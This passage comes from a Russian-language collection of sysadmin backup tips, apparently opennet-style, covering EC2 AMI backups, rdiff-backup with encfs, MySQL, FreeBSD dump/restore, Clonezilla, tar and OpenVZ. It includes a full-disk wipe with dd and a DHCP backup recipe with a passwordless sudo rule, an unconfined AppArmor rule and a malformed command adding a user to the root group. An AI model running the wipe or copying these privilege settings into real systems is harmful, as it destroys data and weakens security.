               "ec2:ModifySnapshotAttribute",
               "ec2:DescribeImages",
               "ec2:DescribeInstances",
               "ec2:DescribeSnapshots",
               "ec2:DescribeTags",
               "ec2:DescribeVolumeAttribute",
               "ec2:DescribeVolumeStatus",
               "ec2:DescribeVolumes"
             ],
             "Resource": [
               "*"
             ]
           }
         ]
       }
    
    Создать файл с параметрами доступа для созданного пользователя:
    
       [ec2-user@zenoss ~]$ cat .stage
       export AWS_ACCESS_KEY=access_key
       export AWS_SECRET_KEY=secret_key
       export AWS_ACCESS_KEY_ID=access_key
       export AWS_SECRET_ACCESS_KEY=secret_key
    
    Указать EC2_HOME
    
    Кронтаб выглядит примерно так:
    
       [ec2-user@backup ~]$ crontab -l
       PATH=$PATH:/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin
       EC2_HOME=/usr/local
       SHELL=/bin/bash
    
       00 2 * * * ./ec2-backup-wrapper.sh stage "alerts1@mydomain.cc alerts2@mydomain.cc"
    
    Результат работы скрипта записывается в лог-файл вида
    ec2-automate-backup2ami.stage.log. В случае ошибки выполнения он будет
    отправлен на указанные почтовые адреса.
    
    Стоит обратить внимание, что файл с параметрами называется .stage, а скрипт
    вызывается с названием без точки.
    
    После успешного выполнения, в AWS AMI появится образ с именем
    ec2ab_server.domain.cc_YYYY-MM-DD и со следующими тэгами:
    
    Name - название инстанса EC2
    InitiatingHost - FQDN бэкап-сервера
    PurgeAfterFE - дата удаления образа в формате unix time
    PurgeAfter - дата удаления образа в формате YYYY-MM-DD
    (исключительно для удобства админа, скрипт использует PurgeAfterFE)
    PurgeAllow - разрешает автоматическое удаление образа (по умолчанию - true)
    Instance - ID инстанса EC2
    Created - дата создания образа в формате YYYY-MM-DD
    
    Понятно, что восстановление сводится к запуску инстанса из образа
    
    PS. Скрипт создан на основе
    [[href="https://github.com/colinbjohnson/aws-missing-tools/tree/master/ec2-automate-backup ec2-automate-backup]]
     (бэкап EBS-дисков, без итерации по регионам) от colinbjohnson, за что ему
    большое спасибо.
    
    PS2. Возможно под OS X скрипт будет работать неправильно (см. четвертую строчку
    в функции get_purge_after_date()), но у меня возможности проверить нет.
    
     
    ----* Организация шифрованного бэкапа с помощью rdiff-backup, encfs и Dropbox (доп. ссылка 1)   Автор: Денис Смирнов  [комментарии]
     
    Предлагается один из методов организации бэкапа данных, с которыми производится
    непосредственная работа и которые постоянно в процессе данной работы меняются.
    
    Подготовка
    
    Для начала я отделил те данные, с которыми я работаю сейчас от архива и
    результатов работы. Это относительно небольшой каталог с активными проектами.
    Относительно - потому что в нем 14 Гб.
    
    Dropbox
    
    Я использую dropbox, потому что он имеет одну приятную особенность - он
    просто работает. Без лишних усилий. 2 Гб на бесплатном аккаунте мне, конечно,
    мало - я пользуюсь платным. В принципе вместо dropbox'а я мог бы делать
    бэкап на свой сервер, но тогда частичное восстановление данных из бэкапа всегда
    требовало бы быстрого доступа к сети. Меня это не устраивает - я уже
    попадал в ситуацию, когда случайно удалял с ноутбука нужный мне большой каталог
    с файлами, не имея быстрого доступа к сети.
    
    Внутри Dropbox у меня большая часть данных, но рабочий каталог с данными над
    которыми работаю сейчас - нет. Во-первых, потому что в рабочем каталоге у
    меня часто может быть приватная информация, в том числе чужая. И хотя я
    облачным сервисам более-менее доверяю, мои клиенты - не всегда, и я
    должен уважать их политику безопасности.
    
    Во-вторых - данные там могут меняться слишком часто. И быть объемными
    - например логи отладки. Синхронизация при каждом изменении это перебор.
    
    Encfs
    
    И все-таки бэкапы (как и многие другие данные) у меня хранятся в Dropbox. А это
    означает, как минимум, что при утере ноутбука у злоумышленника окажется очень
    много ценных данных. И это недопустимо.
    
    Поэтому в Dropbox лежат шифрованные encfs-разделы.
    
    Кроме того, у Dropbox есть один неприятный недостаток - он не различает
    регистр в именах файлов (из-за совместимости с windows). А значит, если у меня
    в каталоге есть файлы, скажем, README и readme, то один из них он переименует.
    Encfs шифрует имена файла, за счет этого вероятность таких пересечений
    становится минимальной.
    
    Так что я создаю с помощью encfs внутри ~/Dropbox отдельный каталог для
    бэкапов, и монтирую его куда-нибудь за пределы каталога ~/Dropbox:
    
       mkdir ~/Dropbox/encfs/backup
       mkdir ~/backup
       encfs ~/Dropbox/encfs/backup ~/backup
    
    
    rdiff-backup
    
    Собственно для бэкапа я использую простейший скрипт:
    
       #/bin/sh
       from=$1
       to=$2
       if [ -d $to ]; then
           rdiff-backup "$from" $to
           rdiff-backup --remove-older-than 1M $to 2>&1 > /dev/null
       fi
    
    Он проверяет наличие каталога (на случай, если encfs раздел не смонтирован), и
    если он есть - выполняет бэкап.
    
    После чего удаляет из бэкапа старые snapshot'ы (старее месяца).
    
    Этот скрипт в cron'е запускается раз в сутки.
    
    Итог
    
    При таком подходе я могу потерять только результаты работы за последние сутки,
    и не боюсь утечки данных, несмотря на использование облачного сервиса.
    
    И да, так как я параноик, также с помощью rdiff-backup на одной из своих машин
    я делаю ежедневный backup всего содержимого каталога Dropbox. На тот
    маловероятный случай, если ошибка на самом сервисе Dropbox приведет к потере данных.
    
     
    ----* Частичное восстановление данных MySQL из бэкапа, созданного с использованием LVM (доп. ссылка 1)   Автор: Андрей Татаранович  [комментарии]
     
    Я не буду описывать процесс создания резервной копии MySQL с применением
    менеджера томов LVM. В интернете хватает описаний этой методики. Предположим у
    вас уже есть бэкап, который содержит бинарные файлы баз данных. В моем случае
    они хранятся на выделенном сервере. Использование бинарных файлов позволяет
    быстро восстановить все базы на момент создания резервной копии, но вот что
    делать если нужно восстановить только часть баз или только одну, или же только
    пару таблиц или несколько удаленных записей из таблиц?
    
    Конечно можно поднять отдельный MySQL сервер на другом сервере, скопировать
    туда бэкап и после запуска вытащить из него нужные данные посредством
    mysqldump. Но что делать, если другого сервера нет или версия MySQL сервера
    содержит патчи, которые делают резервную копию несовместимой с дистрибутивной
    версией? Я постараюсь дать одно из возможных решений этой проблемы.
    
    В своем способе я также буду запускать отдельную копию MySQL сервера, но
    основная идея заключается в том, чтобы не копировать данные из бэкапа, а
    примонтировать их через сеть. Я буду использовать sshfs для этих целей. Чтобы
    при запуске второго сервера не изменились данные в бэкапе я применю оверлей на
    базе AUFS. Одна из его частей будет примонтированным бэкапом, а вторая -
    хранить все изменения относительно бэкапа. Таким образом я избегаю любых
    модификаций резервной копии.
    
       # mkdir /mnt/mysql-{backup,datadir,tmp}
       # sshfs root@backup.server:/backup/mysql-server /mnt/mysql-backup
       # mount -t aufs none /mnt/mysql-datadir -o dirs=/mnt/mysql-tmp:/mnt/mysql-backup=ro
       # mysqld_safe --defaults-file=/root/mysql-backup-restore.cnf
    
    /root/mysql-backup-restore.cnf - конфигурация для второго сервера, которую я
    сделал на базе конфига из дистрибутива.
    
       [mysqld]
       user=root
       pid-file        = /root/mysql-restore.pid
       socket          = /root/mysql-restore.sock
       basedir         = /usr
       datadir         = /mnt/mysql-datadir
       tmpdir          = /tmp
       language        = /usr/share/mysql/english
       skip-networking
       skip-external-locking
       key_buffer              = 16M
       max_allowed_packet      = 16M
       thread_stack            = 192K
       thread_cache_size       = 8
       myisam-recover         = BACKUP
       query_cache_limit       = 1M
       query_cache_size        = 16M
       expire_logs_days        = 10
       max_binlog_size         = 100M
       
       [mysqldump]
       quick
       quote-names
       max_allowed_packet      = 16M
       
       [isamchk]
       key_buffer              = 16M
       
       !includedir /etc/mysql/conf.d/
    
    После запуска вторая копия MySQL сервера доступна только через сокет
    /root/mysql-restore.sock, чем позволяет исключить посторонний доступ на время
    восстановления данных. Чтобы подключиться к запущенному серверу, нужно явно
    указать сокет:
    
       # mysql -S /root/mysql-restore.sock
       # mysqldump -S /root/mysql-restore.sock --add-drop-table dbname table1 table2 > dbrestore.sql
    
    После того, как данные сняты посредством mysqldump нужно остановить вторую
    копию сервера. Для этого нужно выполнить:
    
       # mysqladmin -S /root/mysql-restore.sock shutdown
    
    Когда дополнительный сервер остановится можно отмонтировать /mnt/mysql-datadir
    и /mnt/mysql-backup, и удалить директории /mnt/mysql-{backup,datadir,tmp}
    
    Несомненным преимуществом такого подхода является время, которое тратится на
    частичное восстановление резервной копии. Из недостатков пожалуй отсутствие
    sshfs и aufs во многих дистрибутивах (для centos я так и не смог найти пакета
    для добавления поддержки aufs). Возможно его следует заменить на любую другую
    реализацию union fs, но я это делать не пробовал.
    
     
    ----* Бэкап и восстановление данных из БД memcachedb и других хранилищ на базе BerkeleyDB   [обсудить]
     
    Memcachedb использует для хранения данных на диске BerkeleyDB, поэтому для
    резервного копирования следует использовать утилиты db_dump и db_load, для
    восстановления повреждённой БД можно использовать db_recover, а для проверки
    целостности db_verify.
    
    Для бэкапа выполняем:
    
       db_dump -h /usr/local/memcachedb data.db| gzip > memcachedb.dump.gz 
    
    где через опцию "-h" передан путь к рабочей директории с базой. Gzip используем
    для сжатия, так как итоговый файл с переносимым дампом в текстовом формате
    получается очень большим.
    
    Для восстановления в пустой директории, в которую нужно восстановить БД, выполняем:
    
       zcat memcachedb.dump.gz| db_load data.db
    
    Утилита db_dump может выполняться очень долго и создаёт дамп значительного
    размера, превосходящего по размеру файл базы. Более быстрый способ резервного
    копирования заключается в использовании утилиты db_hotbackup, которая копирует
    целостный слепок базы.
    
    Копируем базу:
    
       db_hotbackup -h /usr/local/memcachedb -b /mnt/backup/memcachdb_backup
    
    Для восстановления достаточно скопировать в пустую директорию содержимое
    созданной утилитой  db_hotbackup директории.
    
     
    ----* Резервное копирование и восстановление системного раздела FreeBSD с применением SMB-ресурса   Автор: 62mkv  [комментарии]
     
    Резервное копирование и восстановление системного раздела FreeBSD с применением
    SMB-ресурса в качестве промежуточного хранилища дампа. В любой сети, как
    правило, полно Windows ПК с достаточно большими винчестерами, что позволяет
    рассматривать SMB-ресурс как удобное средство хранения резервных копий системы.
    
    В данной статье описано как можно обеспечить возможность восстановления
    работоспособной  системы "с нуля", все что нужно - это LiveFS CD и корректный
    дамп работавшей некогда системы. Причем восстанавливать можно и на другое
    железо, принципиально это не влияет на технологию. Я, в частности, перенес
    систему с виртуальной машины на аппаратную (правда ОС была голая практически).
    
    Первоисточники (авторам которых огромное спасибо за их труд):
       http://rm-rf.ucoz.ru/publ/11-1-0-14
       http://sysadmins.ru/post7706741.html#7706741
    
    Создание дампа
    
    Подключить сетевой диск:
    
       mkdir /mnt/smb/
       mkdir /mnt/smb/backup
       mount_smbfs //user@хост/backup /mnt/smb/backup
    
    Выгрузить конфигурацию слайсов:
    
       fdisk -p /mnt/smb/backup/fdisk.cf
    
    Выгрузить конфигурацию разделов:
    
       bsdlabel /dev/ad0s1 > /mnt/smb/backup/bsdlabel.ad0s1
    
    Собственно, создаем дамп:
    
       dump -0aLuf /mnt/smb/backup/root.dump
    
    
    Восстановление на внешний винчестер
    
    Загрузиться с LiveFS CD (для виртуалки - убедиться что выставлена загрузка с CD в первую очередь)
    
    Войти в режим Fixit (CD/DVD)
    
    Для надежности (и только в том случае, если данные на имеющемся винчестере
    никому не нужны) (я делал это чтобы убедиться что восстановление действительно
    происходит по-честному) - затираем данные на имеющемся винчестере:
    
      dd if=/dev/zero of=/dev/ad0 bs=1M count=1000
    
    Желательно убедиться что теперь при попытке загрузки с винчестера ничего хорошего не выйдет ;)
    
    Поднять сеть:
    
       ifconfig le0 192.168.0.99 255.255.255.0 192.168.0.1
    
    Для удобства вписываем NetBIOS-имя того ПК, на котором лежит образ, в файл hosts:
    
       echo "192.168.0.10  хост" >> /etc/hosts
    
    (проверка : ping backup - должны ходить пакеты)
    
    Нужно помочь mount_smbfs загрузиться (см. также PPS в конце статьи, п.2):
    
       mkdir /boot/kernel
       cp /dist/boot/kernel/smbfs.ko /boot/kernel
       cp /dist/boot/kernel/lib*.ko /boot/kernel
    
    Создаем путь для точки монтирования:
    
       mkdir /mnt/smb
       mkdir /mnt/smb/backup
    
    Монтируем:
    
       mount_smbfs //user@хост/backup /mnt/smb/backup
       cd /mnt/smb/backup/vmtest03
    
    Восстанавливаем таблицу слайсов:
    
       fdisk -f fdisk.cf /dev/ad0
    
    возникает предупреждение (Class not found), а также возможно ругательство на
    геометрию раздела - игнорируем !
    
    Восстанавливаем таблицу разделов и стандартный загрузочный код:
    bsdlabel -R -B /dev/ad0s1 bsdlabel.ad0s1
    
    Инициализируем UFS на разделе куда будем разворачивать root:
    
       newfs /dev/ad0s1a
    
    Монтируем его:
    
       mkdir /mnt/root
       mount /dev/ad0s1a /mnt/root
    
    Восстанавливаем содержимое:
    
       cd /mnt/root
       restore -rvf /mnt/smb/backup/root.dump
       rm /restoresymtable
    
    Извлекаем CD, перезагружаемся.
    
    Внимание ! Если код устройства тома, на который вы восстанавливаете, отличается
    от кода устройства при создании (например был ad0, стал ad6), придется вручную
    подключать root и править /etc/fstab
    
    Запускаем редактор:
    vi  /etc/fstab
    
    По умолчанию мы оказываемся в "командном" режиме. Переводим курсор в то место,
    где нам надо заменить символы, например в строку с текстом /ad0s1a под 0. Жмем
    "x" - 0 удаляется. Теперь жмем "i". Перешли в режим вставки. Жмем 6. Получилось
    /ad6s1a. Жмем Esc. Теперь мы снова в командном режиме. Жмем ":" - переходим в
    командную строку vi. Жмем "wq" и Enter - команда "сохранить и выйти".
    
    PS: После восстановления из дампа, если необходимо, можно поднять зеркало
    "вживую" - как это сделать описано в статье
    http://www.opennet.ru/base/sys/freebsd_gmirror_raid1.txt.html Винчестер 120 Гб
    дублируется (без прочей нагрузки) примерно за час - полтора.
    
    PPS: Если нужно восстановить на уже поднятый gmirror: принципиально все то же
    самое, только есть два нюанса:
    1) если дамп был создан с обычного adX раздела, то в конфигурации корневого
    раздела не будет о GEOM-настройках ни слова, поэтому необходимо исправить
    /etc/fstab (вместо /dev/adXsY пишем /dev/mirror/gmZsY), а также добавить строку
    'geom_mirror_load="YES"' в /boot/loader.conf - без этого примонтировать корень
    с зеркала не удастся.
    
    2) чтобы загрузить gmirror и smbfs с LiveFS CD, можно в меню загрузки LiveFS
    выбрать п. 6 "Escape to loader command prompt", ввести в командной строке load
    smbfs, load geom_mirror, затем boot.
    
     
    ----* Использование Clonezilla для клонирования дисков с загрузкой по сети (доп. ссылка 1)   [комментарии]
     
    Clonezilla (http://clonezilla.org/) позволяет быстро клонировать диски,
    способом сходным с проприетарным продуктом Norton Ghost. При создании копии
    переносятся только занятые блоки данных, пустые области пропускаются.
    Поддерживается режим массового клонирования в multicast режиме, например, при
    тестировании, за 10 минут удалось провести клонирование исходного 5.6 Гб диска
    на 41 клиентскую машину. Поддерживаются ФС: ext2, ext3, ext4, reiserfs,
    reiser4, xfs, jfs, FAT, NTFS, UFS, HFS+ (Mac OS X).
    
    Для организации сервера для загрузки Clonezilla по сети (PXE), можно
    использовать следующую инструкцию для CentOS.
    
    Настраиваем NFS-сервер:
    
       mkdir -p /mnt/isoimage 
       mkdir -p /exports/clonezilla
    
    Загружаем clonezilla-live-*.iso с сайта http://clonezilla.org в директорию
    /tmp, монтируем iso-образ и копируем его содержимое в директорию /exports/clonezilla:
    
       mount -o loop /tmp/clonezilla-live-$LATESTVERSION.iso /mnt/isoimage  
       cp -a /mnt/isoimage/. /exports/clonezilla
       umount /mnt/isoimage 
    
    В /etc/exports добавляем:
    
       /exports/clonezilla *(ro,sync)
    
    Перезапускаем NFS:
    
       service nfs restart
       exportfs -ra 
    
    Настраиваем Tftp-сервер.
    
       mkdir -p /tmp/clonezilla
       mkdir /mnt/isoimage
       mkdir  /tftpboot/images/clonezilla/
    
    С iso-образа копируем на tftp-сервер загрузочные файлы с ядром и initrd:
    
       cp /mnt/isoimage/casper/initrd1.img   /tftpboot/images/clonezilla/initrd.gz
       cp /mnt/isoimage/casper/vmlinuz1   /tftpboot/images/clonezilla/vmlinuz
    
       umount  /mnt/isoimage 
    
    Настраиваем PXE-меню:
    
       MENU DEFAULT
       MENU LABEL Clonezilla live
    
       label clonezilla
       kernel images/clonezilla/vmlinuz
       # Older Clonezilla
       # append initrd=images/clonezilla/initrd.gz boot=casper netboot nfsroot=$NFSSERVER:$NFSEXPORT
       # Clonezilla 1.1.0-8
       append initrd=images/clonezilla/initrd.gz boot=live union=aufs netboot=nfs nfsroot=$NFSSERVER:$NFSEXPORT
    
    
    Загружаемся по сети и следуем инструкциям на экране.
    
     
    ----* Использование unison для двусторонней синхронизации файлов   [комментарии]
     
    Для решения задачи по синхронизации данных между двумя машинами, в ситуации
    когда изменения могут появиться на каждом из компьютеров, прекрасно подходит
    утилита unison (http://www.cis.upenn.edu/~bcpierce/unison/). При синхронизации
    между удаленными машинами в качестве транспорта может использоваться ssh. При
    обнаружении конфликтов, например, когда на обоих машинах отредактирован один и
    тот же файл, unison пытается разрешить конфликт автоматически, а если это не
    удается предоставляет пользователю интерфейс для принятия решения.
    
    Устанавливаем unison.
    
    Fedora/RHEL/CentOS:
    
       sudo yum install unison
    
    Debian/Ubuntu:
       sudo apt-get install unison
    
    FreeBSD:
       # cd /usr/ports/net/unison/ && make install
    
    Синхронизируем две локальные директории:
    
       unison /test1 /test2
    
    В процессе будет выводиться статистика и задаваться вопросы, касающаяся
    синхронизации и разрешения конфликтов, направление копирования будет указано стрелкой.
    
    Для синхронизации с удаленной директорией необходимо указать:
    
       unison /test1 ssh://testserver.test.ru//test1
    
    Чтобы выполнить синхронизацию автоматически, без интерактивного взаимодействия
    с пользователем необходимо использовать опцию "-batch". В случае конфликта,
    выполнение будет прервано с выводом соответствующего уведомления.
    
    Для определения сложной политики синхронизации можно создать файл конфигурации
    с определением параметров.
    
    Например, создаем файл ~/.unison/test.prf:
    
       # Определяем список директорий, которые будут синхронизированы
       root = /home/project
       root = /mnt/NFS/home/project
    
       # Указываем сохранять права доступа и владельца
       owner = true
       times = true
    
       # Определяем список поддиректорий, которые нужно синхронизировать, остальное игнорируем:
       path = cgi-bin
       path = htdocs
       path = conf
    
       # Определяем маски для файлов, которые не нужно синхронизировать
       ignore = Name .htaccess
       ignore = Name *~
       ignore = Name .*~
       ignore = Path conf/project.conf
       ignore = Path htdocs/rrd
       ignore = Path htdocs/mon
       ignore = Name *.o
       ignore = Name *.tmp
       ignore = Name *.log
       ignore = Name *.gz
       ignore = Name *.iso
       ignore = Name {,.}*{.old}
    
       # Копируем в резервные копии изменяемых файлов в отдельную  директорию
       backup = Name *
       backups = true
       backupdir = /home/project/backup
    
       # Определяем свою команду для отображения отличий между копиями файлов при конфликте
       #diff = diff -y -W 79 --suppress-common-lines
    
       # Сохраняем лог с результатами работы в отдельном файле
       log = true
       logfile = ./sync.log
    
    
    При необходимости синхронизировать описанные в файле конфигурации директории, выполняем:
    
       unison test
    
     
    ----* Создание инкрементального архива с помощью утилиты tar (доп. ссылка 1) (доп. ссылка 2)   Автор: sanmai  [комментарии]
     
    В самом простом виде инкрементальный архив с помощью tar делается так:
    
       tar --create --file=`date +%s`.tbz2 --bzip --listed-incremental=example.snar --verbose example/
    
    Кратко:
    
       tar -cvjg example.snar -f `date +%s`.tbz2  example/
    
    Развертывается архив через распаковку всех составляющих архивов по очереди, от
    самых старых к самым новым.
    
    В простейшем случае так:
    
       tar --extract --incremental --file level0.tar
       tar --extract --incremental --file level1.tar
       tar --extract --incremental --file level2.tar
    
    Или, например, так:
    
       for i in *.tbz2; do tar -xjGf "$i"; done;
    
    Если нужно  извлечь только  конкретные каталоги  из архива:
    
       tar -xjGf levelX.tar --wildcards 'example/foo*' 'example/bar*'
    
    При использовании следующего скрипта, архив нулевого уровня будет создаваться
    раз в неделю или раз в месяц, в зависимости от того какая строка раскомментирована:
    
       #!/bin/sh
       SOURCE="$1"
       test -d "$SOURCE" || exit 1
    
       DEST_DIR=`date +%G-%V`; #weekly
       #DEST_DIR=`date +%Y-%m`; #monthly
       #DEST_DIR=`date +%Y`-$(( (`date +%m`-1)/3+1 )); #quarterly
    
       mkdir -p $DEST_DIR;
       shift;
       tar --create "$@" --preserve-permissions --totals --bzip \
       --file="$DEST_DIR"/`date +%F-%s`.tbz2 \
       --listed-incremental="$DEST_DIR"/backup.snar \
       --no-check-device --exclude-vcs \
       --exclude-tag-under=access.log --exclude='*.log' \
       --exclude-caches --exclude-tag-under=IGNORE.TAG "$SOURCE"
    
    Проверить работу этого скрипта можно, например, так:
    
       ./backup.sh example/ -v
    
    Для некоторых версий tar наблюдается крах при одновременном использовании
    --exclude-caches и --exclude-tag=, в этом случае --exclude-caches можно
    заменить на --exclude-tag=CACHEDIR.TAG.
    
     
    ----* Резервное копирование MySQL с использованием LVM снапшотов в Debian Linux (доп. ссылка 1)   [комментарии]
     
    Утилита mylvmbackup (http://lenz.homelinux.org/mylvmbackup/) позволяет
    автоматизировать создание резервных копий БД MySQL с минимальным временем
    простоя базы. Процесс создания бэкапа состоит из следующих фаз: установка
    блокировки на таблицы, инициирование сброса кэшей на диск, создание LVM
    снапшота директории с MySQL таблицами, снятие блокировки. Так как время
    создания снапшота очень мало, простой базы сводится к минимуму при полном
    сохранении целостности.
    
    Пример использования утилиты для системы на которой уже работает MySQL,
    директория с БД (/var/lib/mysql) размещена на LVM разделе и в системе доступен
    раздел /dev/sdb на котором достаточно для создания временных LVM снапшотов.
    
       # df -h
       ...
       /dev/mapper/server1-mysql  8.9G  170M  8.3G   2% /var/lib/mysql
    
    Имя LVM группы server1, имя раздела с данными MySQL - mysql.
    
       # pvdisplay
       --- Physical volume ---
       PV Name               /dev/sda5
       VG Name               server1
       PV Size               29.52 GB / not usable 3.66 MB
       ...
     
       # vgdisplay
      --- Volume group ---
      VG Name               server1
      System ID
      Format                lvm2
      ...
    
       # lvdisplay
      --- Logical volume ---
      LV Name                /dev/server1/mysql
      VG Name                server1
      ...
    
    Диск /dev/sdb имеет один раздел /dev/sdb1, занимающий все пространство диска.
    Подключаем его к имеющемуся LVM группе server1 с целью увеличения свободного
    места, которое потребуется для работы со снапшотами. Дополнительные LVM разделы
    создавать не нужно.
    
       # pvcreate /dev/sdb1
       # vgextend server1 /dev/sdb1
    
    Устанавливаем пакет mylvmbackup:
    
       # aptitude install mylvmbackup
    
    Изучаем руководство по mylvmbackup и при необходимости меняем файл конфигурации
    /etc/mylvmbackup.conf под свои нужды:
    
       $ man mylvmbackup
    
    
    По умолчанию бэкапы будут сохраняться в директорию /var/cache/mylvmbackup/backup.
    
    Простейшая команда для создание резервной копии (параметры можно указать в
    файле конфигурации) MyISAM таблиц:
    
       mylvmbackup --user=root --password=пароль --mycnf=/etc/mysql/my.cnf \
          --vgname=server1 --lvname=mysql --backuptype=tar
    
    Пример для InnoDB таблиц:
    
       mylvmbackup --user=root --password=пароль --innodb_recover --skip_flush_tables \
          --mycnf=/etc/mysql/my.cnf --vgname=server1 --lvname=mysql --backuptype=tar
    
    В опции --vgname указываем имя LVM группы, а в опции --lvname имя LVM раздела с данными.
    
    
    После выполнения команды проверяем корректность создания резервной копии:
    
       ls -l /var/cache/mylvmbackup/backup
    
       -rw-r--r-- 1 root root 246847 2010-01-27 19:17 backup-20100127_191658_mysql.tar.gz
    
    В созданном  tar.gz файле находятся две директории: 
    
    backup с архивом таблиц, который можно просто распаковать в рабочую директорию
    /var/lib/mysql при проведении восстановления данных.
    backup-pos с копией файла конфигурации my.cnf.
    
     
    ----* Автоматическое создания бэкапа с задействованием DHCP сервера (доп. ссылка 1)   Автор: scofield  [комментарии]
     
    Ниже представлен перевод руководства
    (http://howtoforge.org/automated-backups-using-dhcpd-on-ubuntu) по настройке
    резервного копирования удаленных машин, с привязкой к обращению клиента к dhcpd
    серверу. Примеры настройки справедливы для Ubuntu Linux, для других
    дистрибутивов могут потребоваться незначительные очевидные изменения.
    
    Конфигурирование сервера
    
    Настройка dhcp3. В файл /etc/dhcp3/dhcps.conf добавляем:
    
       on commit {
         execute (
           "/etc/dhcp3/startbackup.sh",
           "start",
           binary-to-ascii(10,8,".",leased-address)
         );
       }
    
    Создаем скрипт /etc/dhcp3/startbackup.sh, указанный в файле настройки dhcp.
    
       #!/bin/bash
       case "$1" in
       start)
         sudo -u backup /etc/dhcp3/rsync.sh $2
       ;;
       *)
       ;;
       esac
       exit 0
    
    Создаем скрипт /etc/dhcp3/rsync.sh:
    
       #!/bin/bash
       nohup rsync -azuvb backup@$1:/home /backup/$1 &
    
    Создаем директорию для хранения бэкапов:
    
       sudo mkdir /backup
    
    Создаем пользователя "backup"
    
       sudo useradd backup
       sudo chown backup:backup /backup
    
    Генерируем ssh-ключи:
    
       ssh-keygen -t rsa
    
    Копируем ключи на все машины, с которых будет производиться резервное
    копирование ("[host]" заменяем на имя машины):
    
       ssh-copy-id -i ~/.ssh/id_rsa backup@[host]
    
    
    Запускаем sudo visudo и добавляем строку, позволяющую организовать запуск
    /etc/dhcp3/startbackup.sh из dhcpd от имени пользователя backup
    
       dhcpd ALL=(backup)NOPASSWD: /etc/dhcp3/startbackup.sh, /etc/dhcp3/rsync.sh
    
    Настройка AppArmor
    
    В файле /etc/apparmor.d/usr.sbin.dhcpd3 добавляем "/etc/dhcp3/startbackup.sh Uxr,", заменив
    
       /etc/dhcp3/ r,
       /etc/dhcp3/** r,
       /etc/dhcpd.conf r,
       /etc/dhcpd_ldap.conf r,
    
    на
    
       /etc/dhcp3/ r,
       /etc/dhcp3/** r,
       /etc/dhcp3/startbackup.sh Uxr,
       /etc/dhcpd.conf r,
       /etc/dhcpd_ldap.conf r,
    
    
    Перезапускаем сервисы apparmor и dhcp3-server
    
       sudo /etc/init.d/apparmor restart
       sudo /etc/init.d/dhcp3-server restart
    
    
    Настройка клиента
    
    Создаем пользователя "backup":
    
       sudo useradd backup
       sudo usermod -G root
    
    Тестируем настройки 
    
       sudo dhclient рабочий_сетевой_интерфейс
    
    После чего, на сервере должна быть создана резервная копия данных с машины клиента
    
     
    ----* Создание бекапа OpenVZ контейнера (доп. ссылка 1)   [обсудить]
     
    Для создания инкрементального бэкапа по сети можно использовать готовый скрипт ezvzdump,
    суть работы которого в создании копии через rsync, заморозке окружения с
    сохранением дампа состояния (vzctl chkpnt $VEID --suspend
    ), копированию сохраненного дампа и изменившихся с момента последнего rsync
    файлов, продолжению работы остановленного OpenVZ контейнера (vzctl chkpnt $VEID --resume).
    
    Для создания целостных дампов можно воспользоваться утилитой vzdump:
    
       vzdump 777
    
    После этого образ текущего состояния OpenVZ контейнера будет сохранен в /vz/dump/
    
    Утилита vzdump также поддерживает схему suspend/rsync/resume:
    
       vzdump --suspend 777
    
    А также можно сохранить дамп почти мгновенно методом suspend/LVM2 snapshot/resume:
    
       vzdump --dumpdir /space/backup --snapshot 777
    
    В итоге будет сформирован архив /space/backup/vzdump-777.tar, который можно восстановить командой:
    
       vzdump --restore /space/backup/vzdump-777.tar 600
    
     
    ----* Сохранение версий небольших проектов (доп. ссылка 1)   Автор: Марецкий Александр  [комментарии]
     
    Допустим Вы пишете скрипт или маленький проект из нескольких файлов.
    Соответственно возникает желание периодически
    сохранять результат своих трудов, чтобы в случае необходимости откатиться на шаг или два назад. 
    Для крупного проекта идеально подойдет система контроля версий, а для маленькой
    задачи подойдет и небольшой shell-скрипт.
    
    Для начала использования скрипта достаточно:
    - переименовать save.sh в просто save - для удобства набора в терминале
    - разместить его где-нибудь в пределах охвата переменной окружения $PATH (тоже для удобства)
    - определить в начале скрипта переменной SAVEDIR путь к желаемой директории хранения файлов
    
    Вот этот shell-скрипт:
    
       #!/bin/sh
    
       SAVEDIR="${HOME}/save"   # where save backups
       LIMIT_BYTES=1048576      # set 1Mb limit
    
       SCRIPT="save"
       VERSION="20090903"
    
       if test "${1}"
       then
          echo "${SCRIPT} version ${VERSION}" >&2
          echo "Saves backup of whole current directory" >&2
          exit 1
       fi
    
       err()
       {
          echo "${SCRIPT}: ERROR: ${1}" >&2
          exit 1
       }
    
       #### check save directory
       test -d "${SAVEDIR}" || mkdir "${SAVEDIR}" 2>/dev/null
       test -d "${SAVEDIR}" || err "failed to create directory: ${SAVEDIR}"
    
       #### check size
       DIR="$(basename $(pwd))"
       DIR_SIZE_BYTES=$(du -s . | awk '{print $1}')
       test ${DIR_SIZE_BYTES} -gt ${LIMIT_BYTES} && err "size (${DIR_SIZE_BYTES}) of ${DIR} is greater than limit of ${LIMIT_BYTES}"
    
       #### saving
       cd .. || err "FAILED"
       tar cpzf "${SAVEDIR}/${DIR}.$(date +%Y%m%d%H%M%S).tar.gz" "${DIR}" || err "failed to create archive"
       echo "saved: ${DIR}"
    
    Например, Вы пишете какой-то хороший ценный скрипт, соответственно предполагаем
    что у Вас открыт терминал
    и рабочей директорией является каталог с разрабатываемым скриптом или документов:
    
       $ pwd
    
       /home/user/tmp/mysmallproject
    
       $ ls -l
       
       итого 12
       -rwxr-xr-x 1 user users 895 2009-09-08 00:52 project.c
       -rwxr-xr-x 1 user users 170 2009-09-08 00:52 project.h
       -rwxr-xr-x 1 user users 865 2009-09-08 00:48 project.sh
    
    Тогда для создания бэкапа просто наберите "save":
    
       $ save
       saved: mysmallproject
    
    Все, копия файлов сохранена. Посмотрим на нее:
    
       $ ll /home/user/save/my*
       -rw-r--r-- 1 user users 1,1K 2009-09-08 00:54 /home/user/save/mysmallproject.20090908005453.tar.gz
    
    Видим что скрипт в указанной директории создает архив текущего рабочего каталога и в имени архива 
    дата до секунд. Это удобно, архивы аккуратно выстраиваются по дате.
    
    В скрипте еще предусмотрена переменная LIMIT_BYTES, значение которой
    ограничивает максимальный размер
    текущей директории (рекурсивно, до архивирования). Это для того чтобы случайно
    не архивировать что-то крупное.
    
     
    ----* Резервное копирование почтового ящика Gmail в Linux   [комментарии]
     
    Вариант 1. GUI интерфейс.
    
    Загружаем с сайта http://www.gmail-backup.com/download программу gmail-backup.
    
    Убедимся, что в системе установлен Python 2.5, библиотеки wxWidgets и модуль wxPython 
    (в Debian/Ubuntu пакеты python2.5 python-wxversion).
    
    Активируем "Включить IMAP" в настройках Gmail доступ через IMAP
